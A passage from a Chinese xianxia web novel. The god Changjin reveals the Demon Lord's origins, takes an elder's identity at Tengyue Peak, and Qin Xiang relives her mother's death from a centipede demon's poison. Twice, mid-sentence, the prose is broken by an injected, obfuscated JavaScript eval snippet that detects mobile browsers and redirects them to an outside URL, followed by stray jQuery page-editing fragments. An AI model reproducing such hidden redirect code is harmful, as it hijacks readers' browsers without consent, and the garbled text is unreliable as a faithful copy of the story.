长锦彼时身为洵阳城城主之子,城主为活命讨魔主欢心,每日献祭城中活人百姓与妖魔玩乐,长锦不齿他的行为,但他一介凡人,无仙法灵力,阻止不了丝毫。后来城主出逃,长锦便带领着洵阳城的军士誓死守卫着家园,最后为守护一城百姓,献祭魔主。 天道众生平等,一人即苍生。不问长锦那时救了几人,当他走出去血洒城门那一刻,其心就可鉴。于是在那一刻,他也如同万年前的天神少微一般,得天道点化成神,败魔主,封妖魔,成为厄运之门新一任守护神。 而后千百年间,人间河清海晏,渐渐地,神明也就被人遗忘了,无人供奉,无人记得。七百年前,长锦神力减弱,魔主伺机出逃,蛊惑苍生,吸收大量邪念,败长锦于苍生众目睽睽之下,在城门的高台之上,长锦被苍生破道心,失去其信仰之力。 后来虽然仅凭着那部分天道天生的神力彻底消灭了魔主,但长锦心知自己已陷入困顿,他勘不破,何为恶?何为善?何为苍生?何为恶鬼?一开始坚定的信仰‘为拯救苍生而生’沦为笑话,世人根本不需要他。由此,另一个黑暗面的魔主就此而生。 七百年里,长锦压制着那暗黑面的自己,他虽失去信仰,但作为神的责任压在肩头,他不能,也不会放他为非作歹。一善一恶,相互抗衡,相互镇压。 直到那天,那个声音的出现,随着恶念之气的献祭,暗黑面魔主逃脱,一切都超脱了他的掌控。魔主入世,虽不成实体,但随着那幕后之人的加入,若是不趁早寻回,未来必定成祸。所以这一趟入世,他是无论如何也推辞不掉了。 窗外微风轻拂,长锦看着秦湘的脸庞,声音轻淡的,缓缓将这些事情除去七百年前的细致之外大概粗略地都与两人讲了一遍,至于魔主,他不能说是由他分裂出去的,只能说是魔由心生,在厄运之门内,妖邪怨念滋养了魔念,从而产生出新的魔主。 秦湘与秦叙父女俩一开始还听的胆战心惊的,后来越听越后头,也渐渐地淡定了下来。这事儿已经发生了,只能够顺其自然静观其变了,再着急害怕也没用,所以何必涨他人志气灭自己威风。 秦叙想了想,他记得秦道尘留下的宗卷记载着魔主于七百年前就已经被长锦斩于剑下,按理来讲就已不复存在,可如今,却又复活问世,他顿了顿,问道:“难道这魔主不能完全被消灭掉吗?” “能,”长锦道,“只要没有邪念了,魔主自然没了力量来源,自会不堪一击。” 可这又怎么可能呢,世上又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14647791|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎会没有邪念这种东西? 秦湘坐在椅子上,手指缠绕着袖口间的丝带,她没接两人的这个话茬,而是回想起花溪镇那天的死尸,若有所思道:“所以,神君,那天后来死尸暴动涌向你,就是那打开厄运之门的幕后之人做的?他不想你关闭厄运之门,那这么说的话封印新魔主的妖魔镜就已经被那人捡去了,不然他怎么能用魔气算计你?” 长锦点了点头,道:“不错,我本来还在思忖,这幕后之人到底是人是鬼还是妖?但经那一出,他倒是自己直接暴露了,是人,而且那天厄运之门关闭之时,他一直在。” “那天花溪镇到的人不止六大门派,还有其他仙门百家,”秦叙略一沉吟,道,“这目标范围太大了,此人这么大手笔打开厄运之门到底是为了什么?” “妖魔镜现在在他手里,不管他是因为什么要打开厄运之门,”长锦道,“我只知道,我必须寻回魔主重新封印,厄运之门绝对不能再打开了。” 长锦眉头微微蹙起,散发着不由自主的忧心。他边说着,边将视线落在了窗外的天空之上。 他不知道这人出于什么目的什么心理打开厄运之门,他只知道逃脱的魔主是他的暗黑面,他的心魔,他失去了信仰之力,此时根本没有能力让他完全消失,信仰不重塑,他就永远无法战胜他,只能这样相互制衡。所以这一次,他不知道未来会发展成怎样,他目前能做的,也只能尽力去阻止。 这些事情秦湘自然是不知道的,她抬头看着长锦的模样,以为他是在为厄运之门的洞开关乎着天下苍生的安危,而幕后之人此时却毫无头绪而发愁,于是便温声安慰道:“长锦神君不必忧心,魔主既然被封住了行动,那幕后之人又已经开过一次厄运之门了,短时间内肯定没有能力再开一次,世上没有天衣无缝的事,只要他再有动作,必定会露出马脚。” “是啊,”闻言,秦叙也接口道:“阿湘说得对,神君不必太过忧心了,目前最重要的还是身体要紧,神君既已入世,花溪镇那一战到底已经在大家面前露面,想来在世间行走也需要一个新的身份,不如暂时就以长老身份留在腾岳之巅?届时如果有任何需求腾岳之巅定以全力襄助。” 腾岳之巅有供奉之力,留在这里这对于长锦来讲,确实是最好的打算,于是他也没有再推辞了,朝秦叙点了点头,拱手道:“那就按照掌门安排吧,长锦在此谢过,如果掌门有需要用得到我的地方,也尽管开口就是。” 秦叙哪里会有这种想法,顿时受宠若惊般,连忙起身亦还一礼,道:“神君言重了,如此,我们就不打扰神君休息了。” “好。” 父女俩从长锦处离开后,秦湘心里还有点没静下来,两人行走在青石台阶上,秦湘一边走一边与秦叙搭话:“爹,你说那个幕后之人到底是谁呢?那天隔得远了,我只看见那个死尸穿的是蓝色弟子服,那服饰,像是千机阁的弟子服。” “服饰并不能说明什么,死尸那么多,万一那人就是随便抓了一具尸体操控,你也不知道啊。” “嗯,也是,”秦湘眸中暗了一瞬,有点泄气,但不过须臾,她又像是满血复活,道,“不管他是谁,我一定会帮长锦神君抓住他的!” 秦叙看了身边的小女儿一眼,秦湘幼年丧母,所以对于这个女儿,秦叙无疑是放在心尖尖上宠的,不管在外人面前是多么铁骨铮铮一个人,在秦湘面前,都会变成一个不折不扣的女儿奴。 他揉了揉秦湘的脑瓜子,无奈笑道:“阿湘你啊,在帮助别人之前还是要先保护好自己才是,你要是受伤了,爹会心疼死的。” “不会,我这么厉害,楚闵师兄都不是我的对手。”秦湘拍拍胸脯,傲然道。 “心浮气躁乃是练武之大忌,那是你楚闵师兄让着你,”秦叙看了她一眼,“还有,听你师兄说你玉华城那个委派任务把委派人揍了?” 听他提起这事,秦湘无理辩驳,能屈能伸:“揍了,我错了。” “错哪了?” 秦湘低着头:“没有完成委托人的委托,还把委托人揍了。” “那人欺软怕硬,卑鄙无耻,你何错之有?你要是善恶不分,助纣为虐,那才是大错特错。” 秦湘疑惑抬头:“那我错哪了?” “心浮气躁,骄傲自满,要不是长锦神君及时相助,你是不是就受伤了?你要是受伤了,你让爹怎么办?怎么去面对你娘?所以你说你错没错?” 闻言,秦湘像是想到了什么,垂着眼,又低下了头,“错了,我自愿领罚。” “行,那你就禁足十日,去藏书阁抄录门规两百遍吧。” ‘‘……’’ 7. 青葱往事 厄运之门的洞开,在修仙界掀起了轩然大波,而长锦在花溪镇以一己之力关闭厄运之门,一战就此成名。 腾岳之巅因太掌门留下的宗卷,对于长锦和厄运之门的关系自是十分清楚。但是对于修仙界其他门派以及仙门百家而言,他们并不清楚这其中缘由,也不知长锦的身份,只道修仙界不知何时从哪降了一尊灵力强悍的大佛,仅凭一己之力就封印了众人束手无策的数千妖兽。 一时间,拜访求见的门派不计其数,尤其是对小门派而言,要是门派里多了这么一尊灵力强悍的大佛,那便是立马扶摇直上,一跃成为第七大门派也说不准。 长锦自从那天与秦叙秦湘两人商议之后就已经在腾岳之巅的西院闭关了,灵力受损,需闭关三年,西院结界落下,断绝了一切关联,所以这些他自然也是不会知道的。 而秦叙早有准备,在长锦闭关之后的第二日就集结了门内十八位长老商讨决策,第三日就在修仙界内出具了说明长锦是腾岳之巅的席清长老,在修仙界无名是因为他一直在闭关修炼,而他能关闭厄运之门是因为七百年前腾岳之巅的太掌门经历过厄运之门洞开所以留下了宗卷记载。 见到这个通告,大多数门派对此是不信的,但是又没办法,人家自己想留在腾岳之巅,总不能直接进门派抢人吧?故也只能一边感慨腾岳之巅好福气有此等实力强悍的明珠,一边就此作罢。 秦湘十日禁足一结束,她就迫不及待地跑去了西院找长锦。腾岳之巅供奉长锦,秦湘从小便是听长锦事迹长大的,要说腾岳之巅哪个最崇拜长锦神君,那绝对是非秦湘莫属。 她可是从小就立志要成为一个像长锦神君那样厉害的人,然后惩恶扬善。如今偶像就在面前,她怎么能不激动? 明明已经和长锦打过交道了,但秦湘还是在脑海里想了一路和长锦打招呼的开场白。结果一走到西院,一个巨大的金色结界就挡在了面前。 “……” 看着面前的结界,秦湘有点懵逼,正好周楚闵经过,她连忙拉住他问了一嘴,周楚闵奇道:“席清长老啊,闭关了,要三年才能出关,你不知道吗?” 秦湘一时没反应过来,皱眉道:“我问的是长锦神君,席清长老又是谁?” “席清长老就是长锦神君啊,”周楚闵更惊讶,这全派皆知的事情秦湘竟然不知道,“你也不知道吗?” 秦湘虽知道长锦要以长老身份留在腾岳之巅,但是叫什么名号她还真不知道。那天之后被关了十天禁闭,消息闭塞,一解禁就跑来了西院,能知道就见了鬼了。 她摇摇头,老实道:“我不知道,我被爹禁足十天,关在藏书阁抄书呢。所以为什么我们要叫长锦神君为席清长老?还有,鸿瑛长老不是说长锦神君没什么大碍吗?怎么还要闭关三年?” 花溪镇遭此劫难,这十天里周楚闵也忙着安置花溪镇剩余的难民,并不知道秦湘被禁足的事情。听她这么一说,周楚闵总算是明白过来了,于是就给她解释了一番。 “长锦神君在花溪镇一战成名,好多门派的人都过来撬人了,但是神君的身份总不能真就大肆宣扬吧,所以长锦神君就以席清长老的名号对外了,然后怕我们在外言错,所以全门派上下也要改口称为席清长老,就这样。”周楚闵顿了顿,又接着道,“至于闭关,是神君自己要求的,说是灵力透析,要闭关三载来恢复。” 听完这些事情的始末之后,秦湘心下明了,又和周楚闵随便聊了几句之后就和他说了再见。 此时正是午膳时辰,腾岳之巅的弟子大多聚集在云隆堂里吃饭。秦湘心里有事,没什么食欲,于是一个人在腾岳之巅里乱晃,闲逛了一圈,最后去了腾岳之巅的北峰。 北峰有一片桃林,桃林深处有一座小院,这里曾是腾岳之巅掌门夫人,也是秦湘娘亲杜元霜的生前所居之地。自从杜夫人仙去,这里也就此成了腾岳之巅的禁地,青色的结界密布,除了秦湘与秦叙能来之外,北峰彻底封闭。 空谷幽静,桃林妖妖。秦湘伸手抚上了面前这层薄薄的结界,仿佛是在回应一般,面前的结界开始变得渐渐明亮起来,不一会儿,一个球形星辰漩涡便浮现在了她面前,秦湘收起手掌,顿了顿,抬脚走了进去。 杜元霜爱桃花,这漫山遍野的桃树都是那年秦叙为她种下的,只可惜桃花依旧,斯人已逝。桃树林中有一条泥土小道,秦湘就沿着这条小道一路往里走去,越往里走,芳菲更甚。 走了大概有好一阵子了,一座古典雅致的小院才半隐半露,映入眼前,小院的竹篱是虚掩着的,轻轻一推就开。走进院内,一棵桃花花树开了满枝,落了满地,粗壮的树枝中间,挂了一个木秋千,微风拂过,秋千轻轻晃荡。秦湘站在院中,垂落眼帘。 恍惚之中,她好像看见了树下站着一个人。 一个挽着云鬓一袭浅紫色衣裙的年轻夫人,她就那样站在树下,目光温柔,面色柔和,她看着面前站着的秦湘,似是朝她伸出了双手,嘴唇轻轻动了动,声音是那么轻柔,但秦湘好像就是听见了,那个记忆中温柔似水笑容绚烂的人在唤她——阿湘。 “阿娘……”秦湘喃喃道,也忍不住伸出了手,眼中水雾弥漫,面前的人已然模糊,待她再一眨眼,人影就在她面前碎成了万千流萤,微风一过,仿若南柯一梦。 秦湘揉了揉眼睛,兀自站了一会儿。半晌,才走过去,轻轻折了一束桃花枝,然后推开庭院正屋的大门。 屋内陈设一如往昔,秦湘进了里屋,一张黄木小案几靠着墙边摆放着,案几上方,挂了一副画像。 画像上画的是一个女子,面容姣好,紫衣翩然,亭亭玉立,这正是杜元霜的画像。 秦湘进来后就将案几上摆着的东西收拾了一番,又从角落里翻出了个陶瓷小瓶摆在了案几上,将带来的那束桃花枝浸在了里面养着。 做完了这一切,她才靠坐在案几旁,将头枕在画像上,轻声道,“阿娘,我又来看你了,阿娘应该不会嫌弃阿湘烦罢?”顿了顿,又抬起头,看着画像,声音柔软,带上丝撒娇的意味,“今日无事,阿湘心中郁结,想来找阿娘说说话,阿娘就陪陪我吧。” 画像自然不会回应她,沉默半晌,秦湘又接着道:“阿娘不说话,我就当阿娘是答应了。” “阿娘,厄运之门的封印开了,我见到了你小时候给我讲的长锦神君,长锦神君可厉害了,和你给我讲的一模一样,一人斩妖魔,封印厄运之门!” “不过厄运之门里面的妖兽也很厉害,比当年那条蜈蚣精可厉害多了,爹爹也受伤了,看见他一身血污的时候,我真的好害怕,怕爹爹像你一样离开我,”秦湘低下头,声音低落,“怪我不够强,保护不了你,也保护不了他,到头来还要一直靠你们保护……” 秦湘倚着墙壁,双臂抱住合拢的双膝,将头轻轻阖在膝盖上。说到此处,她脑海里浮现出那天秦叙的身影来,再慢上几秒,他就要命丧于死尸的利爪之下…… 思及此,她不敢再深想,连忙晃了晃脑袋,要把这样的画面甩出脑子去。 可这哪里又由得了她,她越不想去想,这样的画面就越清楚地往脑子里钻,大抵是那画面太过相似,渐渐地,画面中秦叙的身影与脑海中杜元霜的身影重叠,然后转变过来,令她不由自主地,慢慢地想起了娘亲在世间的那最后一段日子…… 那时候的秦湘不过是个七岁的孩童,腾岳之巅供奉长锦神君,从小在这样的环境渲染下,秦湘也不出意外的成为了长锦信徒的一员。秦叙是个粗人,不会讲故事,所以秦湘总是会缠着杜元霜给她讲宗卷上记载着的七百年前长锦救太掌门,斩妖魔,封印厄运之门的故事。 杜元霜性子温婉,又极宠秦湘,自然禁不住她的缠,于是每天夜里,秦湘躺在床榻上,杜元霜就在房里点亮一盏明灯,素手执了书卷,倚在她身旁,将她圈在怀里,再给她讲那书卷上记载的故事。 同样的故事讲了上百遍了,秦湘却总是听不够似的,她躺在杜元霜温暖的怀抱里,扬起脸,央求道:“阿娘再讲一遍,再讲一遍嘛,阿湘想听。” 灯光将两人的身影拉长映照在墙上,杜元霜摸了摸秦湘的头发,眼里都是怜爱,笑道:“这个故事已经讲了一百九十八遍了,阿湘还没有听厌呀?” “怎么会听厌,”说到此处,秦湘更是激动,从床上爬起来,目光明亮,眼里都是向往,“长锦神君如此厉害,阿湘以后也要成为一个这样厉害的人,然后惩恶扬善,保护阿娘,也保护爹爹,还要保护腾岳之巅的大家,阿娘 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秦叙杜元霜一开始还说教她几回要戒骄戒躁,后来左右说不听,便也不说了,反正自己的女儿自己宠,她本身也厉害,骄傲点怎么了。 那时的秦湘风光无限,如果不是后来发生的那件事,要了杜元霜的命,也许秦湘会一直是那个意气风发不避锋芒的天之骄女。 那一日,是双灵阁阁主的寿辰,秦叙携着妻女前去拜访祝寿。在回家途中经过一条街市,秦叙与杜元霜凑在脂粉铺中买胭脂唇彩,秦湘年纪小,觉得无趣,又坐不住,于是便一个人悄悄地猫着腰,从门口溜了出去。 她年纪小,很少独自下山,一时被街上热闹的氛围吸引,一路走去,摸摸这家的剑穗子,又捏捏那家的布锦囊。最终停在了长街左侧的一家杂货铺面前,目光被柜台上摆着的一支桃花簪吸引。 这簪子给阿娘,应该是再合适不过了。这么想着,秦湘便也这么做了,她踮起脚尖,拿着那支桃花簪问柜台后面的老板娘:“姐姐,这个簪子怎么卖?” “哎哟,小妹妹眼光真好,”老板娘笑了笑,“这簪子在我这里是卖得最好的一个款了,这已经是本店最后一支了,不管你是自己带还是送人,那绝对是再合适不过的了。” 听她这么说,秦湘在脑海里想像了一番杜元霜带上簪子的模样,果然好看。于是也不再犹豫,将簪子递过去:“那姐姐你帮我包起来吧,要个漂亮的木盒子,谢谢。” “好嘞,谢谢小妹妹。” 从杂货铺离开,秦湘本想直接回脂粉铺找秦叙杜元霜,但她走到半路,忽而一股浓郁的妖气迎面袭来,她微愣了愣,街市里怎会有妖气? 她站在原地,双眼巡视着四周,除了人来人往,没有丝毫不妥,但是妖气却不减。 障眼法,难道已经修炼成人了? 这么想着,秦湘连忙捏了个诀,两指并拢自眼前扫过,待再次睁眼时,四周的景致虽无太大变化,但一团黑雾显然从人群中穿过,黑雾中还挟带着两个无辜小孩,小孩大叫着救命,却没有一个人能听见。 秦湘顿了一顿,当即就琢磨了过来,相传小孩精元纯粹,在妖怪中,便有此说法,吸食小孩的精元可功力大增,修为大涨。 只是没想到这种事情竟然真的会被秦湘遇上,惩恶扬善这四个字是刻在了骨子里的,自负自傲又是她的一向作风。 初生牛犊不怕虎,于是她当即就没有做多思考,将手中拿着的小木盒子收进锦囊之中,捏了个诀就追随着那团黑雾而去。 那黑雾本就是一条马上要修成正果的蜈蚣精,秦湘跟着他,气息也很快被他察觉。 他本以为是被道士发现了,但一回头见秦湘是个小孩,还是个灵力极强的小孩,当时心下便大喜,吃了她可比吃两个毫无灵力的普通小孩要强的多。 思及此,也没立即甩掉她,将人左牵右引一番折腾,便朝着城郊飞去。 那时,如果秦湘会知道后来发生的事情,那天,她便是再怎样都不会单独一个人追出去。 只可惜,她不知道,这一追,不仅葬送了她的阿娘,也葬送了她的崭露锋芒,从此,她再也不能肆无忌惮的矜骄张扬。 戒骄戒躁,便这样时时刻刻记挂在了心上。 8.桃林幽梦 秦湘一路追随着那妖孽而去,见他若近若远,好似有意无意地将她往山林中引,心中有疑,又恐离得秦叙杜元霜太远,便凌空甩下了两道离火决,将其在城郊山野一空旷处拦下。 蜈蚣怕火是天生的,当场就被迫停了下来。被挟来的小孩这当口早已晕了过去,那蜈蚣妖一手提了一个,在空中堪堪避过那两团袭过来的火焰,然后落地,黑雾散去,变成了一个身形扭曲半人半妖的丑陋形态来。 秦湘也停了下来,一个后空翻稳稳落地。待她抬头瞧见面前妖的模样,抽了抽嘴角,一巴掌拍上了自己的脸,捂住了眼睛。面前的妖也许是修炼地还不完全到家,虽有了人的形态,但是妖的特征也还没有褪去,只见他一头杂乱油腻的黑发,头上顶着两根大触须,脸上除去正常人的五官,额头上密密麻麻的还多挤了六只眼睛...... 秦湘僵着脸,将手从眼睛上拿下来,只肖看了一眼,就额角突突的,果真还是没眼看,这也太丑了点吧。 而这边的蜈蚣精可是没这闲情逸致来欣赏对方的样貌,他将手中的两个小孩往旁边一甩,而后面对着秦湘,目光带着戾气,漏着尖尖的毒牙,惊道:“小小黄毛丫头竟会此等高阶控火之术?” 秦湘咳嗽了两声,整理了一下崩坏的表情,才正色道:“控火之术又有何难之,你这妖精,不好好修炼,竟然走此邪魔歪道,今日,我定要替长锦神君好好教训教训你!” 蜈蚣精自然是不认识长锦为何人,但他此时也已被秦湘激怒,一心只想着吃掉她自己就能彻底修炼出人形。只见他手中凝出一柄妖气四溢的人骨鞭,骨鞭末梢带着弯钩,弯钩上尖尖的两根毒针在空气中散发着森森寒意。 “狂妄,你可知狂妄至极必有灾祸?”他冷笑着,“今日,我势必要将你吞入腹中。” 说罢,提鞭而上,秦湘也冷哼一声,召出一柄长剑,剑身淬火,凌空掠起剑气,朝着那蜈蚣精劈去。人骨鞭在空中伸缩自如,随着那蜈蚣精的一挥一动变长变短,鞭身绿色的毒气四溢,末梢毒针一招一式都是径直朝着秦湘扎来的,秦湘皱着眉头,脚尖点地,飞快地朝着后边滑去。 “呵,毛头小儿,今日就是你的归西之日。” 蜈蚣精的脸在近在咫尺,秦湘后撤,他提鞭向前,看着这不远不近的八只眼睛,秦湘真是有点强烈的心理不适。她闭了闭眼,挥出银剑,剑上集聚灵力,离火决随着银剑一起挥出,火焰散去毒气,剑身斩断毒针,蜈蚣精也被震飞出去十米开外。 “怎么样?服不服?”秦湘站在原地,朝他翻了个白眼,“还想吃我?做你的春秋大梦去吧!” 蜈蚣精死死地盯着面前的秦湘,收了毒针破碎的人骨鞭,手一挥,竟是在秦湘面前化回了原型,一条十尺之高的巨型大蜈蚣。蜈蚣速度极快,口中喷出阵阵毒气,空气霎时变得混浊,趁此机会,他快速地朝着秦湘掠去。 秦湘握着长剑,飞身掠起,堪堪躲过地上朝她猛掠过来的巨型蜈蚣,她厉喝一声,举着剑便朝着他直直扎了下去,蜈蚣表皮坚硬,剑尖接触之际,一阵电光火石,秦湘也被这大力弹飞。 蜈蚣精以尾驻地,直立而起,带毒的光针凭空而出,倏地,便朝着秦湘猛飞而去,毒箭如雨。秦湘弃了长剑,双手捏诀调动周身灵气,只见红光一闪,一道火墙强悍地竖在了她面前,生生的将那些毒箭化成了虚无。 火墙来得强势,蜈蚣精被逼的后撤了数尺,秦湘也有点吃力,两方落在对立面上,目光皆是紧紧地盯着对方。秦湘得空喘了一口气,毒气太猛烈,她的灵力一时也还没调转过来。 那蜈蚣精倒是看准了她此时这一气虚,身形一扭,再次攻来,秦湘目光一凛,长剑应召飞回手中,大喝一声,迎面而上,还未对上,那蜈蚣精竟半路调转了一个方向,再次凝出无数毒针,朝着旁边昏睡过去的两个小孩直接杀去。 秦湘心中暗道不妙,要回身去护已经来不及,只能再次动用全身灵力挥出一个御守结界朝着那边砸去,将两个小孩笼罩其中。 箭雨被拦了下来,秦湘松了一口气,但一口气还没松完,这边蜈蚣精就已经以飞快的速度朝她猛扑过来,巨大的身体朝她猛地一甩,径直将她狠狠地拍在了另一旁的空地上,秦湘滚落在地,额间冷汗涔涔,唇角也已见血,身体剧痛,愣是支撑着半天才爬了起来。 “这毒针是我淬炼好久才得出来的,你能拦下我两回,我果然没有看错,你的灵力极高,假以时日必成大器,只可惜,你的生命就要终止在今天了,我说过,狂妄至极必有灾祸。” 蜈蚣精说罢,也不再等秦湘作何反应了,面前凝出一波毒箭,他笃定,秦湘没有能力再召唤一次大规模的离火阵了,这万发毒箭下去,她必死无疑。 万箭齐发! 秦湘确实也没有能力再拦一次了,她受那一击,五脏六腑都仿佛移了位,根本无力动弹,看着面前如雨下的毒箭,她只能尽力再调动灵力开个防护罩。 “阿湘!!!” 随着箭雨而来的,还有杜元霜的声音,待她反应过来之时,人已经在杜元霜怀里了,漫天的毒针被她拦下,而后,秦叙也跟着出现在了她面前,见她俩无事,于是便一人去斗那巨型蜈蚣。 那时,是杜元霜和秦叙出现及时,蜈蚣在秦叙手下对了不过十招,便被斩于黑刀之下。 本以为事情就这样过去了,所有人都平安无事,可秦湘没想到,秦叙也没想到,那日的箭雨之下,杜元霜虽为秦湘挡去了所有,但那蜈蚣精竟然在结界撤掉的那一瞬间又凝出了一根毒针,他不甘心,所以在那根针上凝聚了无解剧毒,然后朝着杜元霜飞射了过去。 杜元霜本已察觉,但来不及捏出结界回防,只能躲避,因为秦湘正在自己身后,若是闪开那针伤的就是她,于是便站在了原处,硬生生地挡下了这一击。 她本也以为那毒无碍,回去让鸿瑛长老配解毒的药就可,谁知,人算不如天算,那毒在进入身体的时候就已经漫入骨髓,无药可解。 “我还有多少时日?”医疗阁内,杜元霜面容憔悴,不见昔日的光彩。 鸿瑛长老眼角含泪,心下悲戚,话到嘴边,亦是哽咽:“五日。” 秦叙立在一旁,在听见这两个字的时候,平日里稳如松柏的身形也是一怔,随后双目通红,手指想抚上杜元霜的脸,但还未抚上,就已不住地颤抖。 “阿娘!阿娘!”一个声音从门外传来,门内两人未动,秦湘满脸泪水,猛扑进来,看见杜元霜,终是失声痛哭,扑进她的怀里,反反复复地道歉,“阿娘……我错了……你不要离开阿湘……我错了……阿娘……我不要第一了……我什么也不要了……我就要阿娘……” 鸿瑛长老见此情形,也是抬手掩泪,朝一旁的秦叙点了点头,先行离去。 杜元霜强忍着不适,像往常一般抬起手摸了摸秦湘的头,嗓音虽无力,但也还是熟悉的温柔,她轻轻地笑道:“阿湘别哭,阿娘不怪阿湘,不是阿湘的错,是阿娘能力不够,保护不了阿湘……” 秦湘已经泣不成声,她伏跪在杜元霜床前,身体发着抖,她什么也听不见,口中只反反复复说着对不起,我错了。 怎么不是她的错,是她狂妄至极,是她自傲自负,以为在门派里得了第一就洋洋得意,师兄师姐们点到为止,楚闵师兄也让着她,就让她得意忘形到了如此地步,直到出了山门,才知自己是何等不足,天资过人又怎样,她目中无人,山外可没有点到为止的规矩,没有重来一回的机会,输了就得付出代价,这代价也就包括是死。 狂妄至极必有灾祸。 蜈蚣精浑厚冷淡的声音骤然在心底响起,秦湘心头脑海更是徒起了极度的骇然,她身体发颤,双手紧紧抱住杜元霜。如果可以,她这一瞬间真的恨不得让自己来代替杜元霜,只要她还能够好好活下去,她什么都不想要,只想要她的阿娘好好活下去…… 明明这些都是她该受的,但是……她的阿娘却为她代过。 “阿娘,我错了,我真的……知道错了……你别不要我……” 杜元霜仰着头,一双眼睛里也饱含泪水,但她还在极力地想要将它们收回去,心中伤痛难以自抑,她的阿湘还这么小,她的夫君也还需要她,她怎么甘心就在他们最爱她的时候就这么离他们而去?如果可以,她真的很想、很想……留下来…… 她遏制住颤抖的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14656180|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手和声音,努力整理着脸上的表情,忍着喉头稀碎的哽咽,张张嘴,露出一个故作轻松的笑容来。 “阿湘,不要哭了,你再哭,阿娘可要不高兴了,”她伸手轻轻拍着她的肩膀,“我的阿湘还是笑着最好看,阿娘我啊,最喜欢你意气风发的样子,这个样子可不像你……” 秦湘闻声顿住,她抬起一张眼泪模糊的脸,想要努力整理一下表情去看杜元霜,但不管怎样,都整理不出一个合适的表情来,杜元霜双手轻捧着她的脸,指尖轻柔地拭过她的眼底,“阿湘,别哭。” 秦湘肩膀微颤,她看着面前杜元霜的面庞,看着她拼命压制着的因疼痛微皱的眉头,看着她嘴角扯出来轻笑……她缓缓抬手,擦了擦通红的双目。 她的阿娘让她别哭,她不应该再哭了,她不想她不高兴。 “阿娘,我……我不哭了。” “好……这样才对。” 杜元霜的最后五日时光,是在秦湘与秦叙的陪伴中度过的。她找鸿瑛长老拿了抑制毒素回光返照的丹药,然后与秦湘秦叙在北峰桃林里过了几日最普通最普通的人间烟火日子。 秦湘记得,杜元霜最后的那个晚上,她们曾在院子里的桃花树下埋了一坛女儿红。最后一捧泥土撒下,杜元霜跪坐在桃花树下,愣愣地看着那个新鲜的小土堆发呆,看着看着,眼泪就不自觉的淌下,顺着脸颊,滴落在泥土里。 秦叙扶着秦湘站在门口,亦是无言。过了好久,秦叙才转动了动通红的眼睛,手指微动,推了推怀中的小女儿,道:“阿湘,你去陪陪你阿娘,爹爹去厨房看看,还有没做完的桃花酥,你阿娘爱吃,她好久没吃了,爹爹要多做一些。” 秦湘知道,这是借口,秦叙是想把最后的时间留给她,让她再和她的阿娘说说话。 她仰起头,喃喃道:“爹爹……” “去吧,去和你阿娘说说话,去陪陪她。” 秦叙走了,秦湘在原地立了许久,才擦了擦眼睛,深吸一口气,扯起一个还算得体的微笑,走了过去,和往常一样,站在杜元霜身旁,轻轻唤道:“阿娘。” 杜元霜闻声,顿了顿,连忙伸手拂去脸上的泪珠,整理出了一个笑容,才回头去瞧她:“阿湘,你怎么来了?你不是和你爹爹在做桃花酥吗?” “阿湘笨手笨脚,被爹爹赶出厨房了,”秦湘也蹲在那个小土堆面前,“所以我就来帮阿娘,阿娘你这是在做什么呀?” 杜元霜靠坐在桃花树下,将秦湘拉入怀中抱着,她摸着她的头,给她指指一旁的小土堆,像以往给她讲故事一样,声音轻柔似水:“我和你爹年轻时曾去江南地区游历,途中路过越州,越州繁华,那一天啊,有一家富商大户嫁女,宴请四方,我和你爹觉得有缘,也想沾沾喜气,于是便奉了一份贺礼前去贺喜吃席。” “然后呢?” “然后啊,喜宴上,就喝到了这一盏酒,当时觉得这酒味香醇厚,酒席上有人讲解,我和你爹才知道,这酒啊,名字叫做女儿红。” 秦湘心头一怔,她大概知道杜元霜想讲什么了,花影绰绰,秦湘忍住想流泪的冲动,依偎在娘亲怀里,问道:“所以阿娘,为什么你也要埋一坛女儿红?” “酿女儿红是越州那边的习俗,越州地区,凡是家中得了女儿,等到孩子满月的时候,就会选酒数坛,泥封坛口,埋于地下,待到女儿出嫁之时再取出。汲取门前鉴湖水,酿得绍酒万里香,”杜元霜的声音轻柔地,就像那杏花烟雨的江南,“巴陵没有这个习俗,酿出来的女儿红虽不如越州的那样正宗醇香,但我还是想给我的阿湘酿一坛,等到阿湘十八岁出嫁之时,再取出来,这样……” 这样,就好像,我还能陪伴在你身边一样,看你长大,看你出嫁。 身后渐渐地没了声音,秦湘心中燃起一个恐怖的念头,她不敢多想,蓦然回首,却瞧见了杜元霜一张温润柔和的脸上布满泪痕,她愣愣地,只能伸出手去给她擦眼泪,“阿娘……” 杜元霜也回过了神来,伸手擦了擦脸上的泪痕,笑了笑,“你看阿娘,说着说着就……明明以后阿湘出嫁是喜事,阿娘这是……” 这是什么,她也说不出来。 9.与君同行 两人一阵无言,晚风轻轻吹动树梢,带落了一地飘零。秦湘想到了什么似的,她从杜元霜怀里爬起,摸了摸腰间系着的锦囊,“阿娘,我也有礼物给你,前几日在市集看到了一支桃花簪,觉得很好看,想着阿娘带上肯定更好看,于是我就买了,想来送给你。” 杜元霜有些惊讶,秦湘施了个决,从锦囊里摸出那个小木盒子,在杜元霜面前打开,那支桃花簪就安安静静地摆在里面,她仰头,声音嗡嗡地:“好不好看?阿娘你喜不喜欢?” 杜元霜看着面前的桃花簪,目光自秦湘脸上流过,摸了摸她的头,笑容浅浅:“好看。” “那我为阿娘簪上。” “好。” 